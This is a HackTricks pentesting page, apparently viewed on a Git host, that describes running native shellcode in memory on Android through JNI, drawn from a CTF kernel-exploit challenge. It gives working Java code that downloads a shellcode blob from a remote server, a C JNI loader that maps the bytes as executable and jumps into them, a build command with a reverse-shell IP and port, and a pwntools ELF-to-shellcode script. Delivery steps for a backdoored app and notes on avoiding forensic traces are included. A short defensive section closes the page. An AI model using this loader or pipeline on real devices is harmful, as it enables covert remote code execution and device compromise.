hacktricks/src/mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md
HackTricks News Bot f302c48010 Add content from: CoRCTF 2025 — CoRPhone: Android Kernel Pwn
- Remove searchindex.js (auto-generated file)
2025-09-09 01:31:50 +00:00

126 lines
5.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Android In-Memory Native Code Execution via JNI (shellcode)
{{#include ../../banners/hacktricks-training.md}}
This page documents a practical pattern to execute native payloads fully in memory from an untrusted Android app process using JNI. The flow avoids creating any on-disk native binary: download raw shellcode bytes over HTTP(S), pass them to a JNI bridge, allocate RX memory, and jump into it.
Why it matters
- Reduces forensic artifacts (no ELF on disk)
- Compatible with “stage-2” native payloads generated from an ELF exploit binary
- Matches tradecraft used by modern malware and red teams
High-level pattern
1) Fetch shellcode bytes in Java/Kotlin
2) Call a native method (JNI) with the byte array
3) In JNI: allocate RW memory → copy bytes → mprotect to RX → call entrypoint
Minimal example
Java/Kotlin side
```java
public final class NativeExec {
static { System.loadLibrary("nativeexec"); }
public static native int run(byte[] sc);
}
// Download and execute (simplified)
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
int rc = NativeExec.run(sc);
```
C JNI side (arm64/amd64)
```c
#include <jni.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
static inline void flush_icache(void *p, size_t len) {
__builtin___clear_cache((char*)p, (char*)p + len);
}
JNIEXPORT jint JNICALL
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
jsize len = (*env)->GetArrayLength(env, sc);
if (len <= 0) return -1;
// RW anonymous buffer
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) return -2;
jboolean isCopy = 0;
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
if (!bytes) { munmap(buf, len); return -3; }
memcpy(buf, bytes, len);
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);
// Make RX and execute
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
flush_icache(buf, len);
int (*entry)(void) = (int (*)(void))buf;
int ret = entry();
// Optional: restore RW and wipe
mprotect(buf, len, PROT_READ | PROT_WRITE);
memset(buf, 0, len);
munmap(buf, len);
return ret;
}
```
Notes and caveats
- W^X/execmem: Modern Android enforces W^X; anonymous PROT_EXEC mappings are still generally allowed for app processes with JIT (subject to SELinux policy). Some devices/ROMs restrict this; fall back to JIT-allocated exec pools or native bridges when needed.
- Architectures: Ensure the shellcode architecture matches the device (arm64-v8a commonly; x86 only on emulators).
- Entrypoint contract: Decide a convention for your shellcode entry (no args vs structure pointer). Keep it position-independent (PIC).
- Stability: Clear instruction cache before jumping; mismatched cache can crash on ARM.
Packaging ELF → positionindependent shellcode
A robust operator pipeline is to:
- Build your exploit as a static ELF with musl-gcc
- Convert the ELF into a selfloading shellcode blob using pwntools shellcraft.loader_append
Build
```bash
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
```
Transform ELF to raw shellcode (amd64 example)
```python
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
loader = shellcraft.loader_append(elf.data, arch='amd64')
sc = asm(loader)
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")
```
Why loader_append works: it emits a tiny loader that maps the embedded ELF program segments in memory and transfers control to its entrypoint, giving you a single raw blob that can be memcpyed and executed by the app.
Delivery
- Host sc on an HTTP(S) server you control
- The backdoored/test app downloads sc and invokes the JNI bridge shown above
- Listen on your operator box for any reverse connection the kernel/user-mode payload establishes
Validation workflow for kernel payloads
- Use a symbolized vmlinux for fast reversing/offset recovery
- Prototype primitives on a convenient debug image if available, but always revalidate on the actual Android target (kallsyms, KASLR slide, page-table layout, and mitigations differ)
Hardening/Detection (blue team)
- Disallow anonymous PROT_EXEC in app domains where possible (SELinux policy)
- Enforce strict code integrity (no dynamic native loading from network) and validate update channels
- Monitor suspicious mmap/mprotect transitions to RX and large byte-array copies preceding jumps
References
- [CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)](https://github.com/0xdevil/corphone)
- [build.sh (musl-gcc + pwntools pipeline)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/build.sh)
- [exp2sc.py (pwntools shellcraft.loader_append)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exp2sc.py)
- [exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exploit.c)
- [INSTRUCTIONS.md (setup notes)](https://github.com/0xdevil/corphone/blob/main/INSTRUCTIONS.md)
{{#include ../../banners/hacktricks-training.md}}